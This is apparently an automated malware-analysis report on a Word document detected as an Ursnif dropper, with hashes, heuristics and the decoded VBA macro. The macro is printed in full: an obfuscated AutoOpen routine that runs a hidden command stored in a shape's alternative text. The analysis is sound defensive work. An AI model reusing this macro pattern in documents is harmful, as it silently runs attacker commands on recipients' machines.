Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 bac31c1e53054af8…

MALICIOUS

Office (OLE)

67.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 5a7a7b214403e02308b47217d09a8351 SHA-1: 402d55700584718a3c4136aa6ef6355fe6c83fef SHA-256: bac31c1e53054af81fc0b907102e5d0bc9dfe32745dd04a3c46ddcc3ef7ec968
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a malicious dropper by ClamAV, specifically 'Doc.Dropper.Ursnif-6864686-0'. Static analysis revealed a critical 'AutoOpen' VBA macro within the document. This macro, named 'hwoxehe', is designed to execute a command specified in the 'AlternativeText' property of a shape, likely downloading and running a secondary payload. The presence of the Ursnif family identifier and the AutoOpen macro strongly indicate a malicious intent.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1058 bytes
SHA-256: bdb0861a628d9fd0bbd019df8fae3103fd7e6d5ff80d7761fb6c7832ada58f09
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hwoxehe"
Function qokqpSM()







Dim vaFyzHq As Integer
Dim rcysihuben As Long
vaFyzHq = 6574# - 8968#
Dim APovUES As Variant
APovUES = vaFyzHq - 8764#



Set qokqpSM = ActiveDocument.Shapes(2)

Dim dceko As Integer
Dim XCuet As Long
dceko = 7941# - 3790#
Dim HrZpZ As Variant
HrZpZ = dceko - 2751#



End Function
Sub AutoOpen()







Set kvifote = qokqpSM

BmSPnzOr = qokqpSM.AlternativeText





Interaction.Shell@ _
BmSPnzOr, vbHide

Dim hdtum As Integer
Dim kmywetykof As Long
hdtum = 7158# - 5977#
Dim hlyduqobe As Variant
hlyduqobe = hdtum - 3603#

Dim fYIpuU As Integer
Dim xsiw As Long
fYIpuU = 2685# - 6626#
Dim WsiyhAxl As Variant
WsiyhAxl = fYIpuU - 1622#





End Sub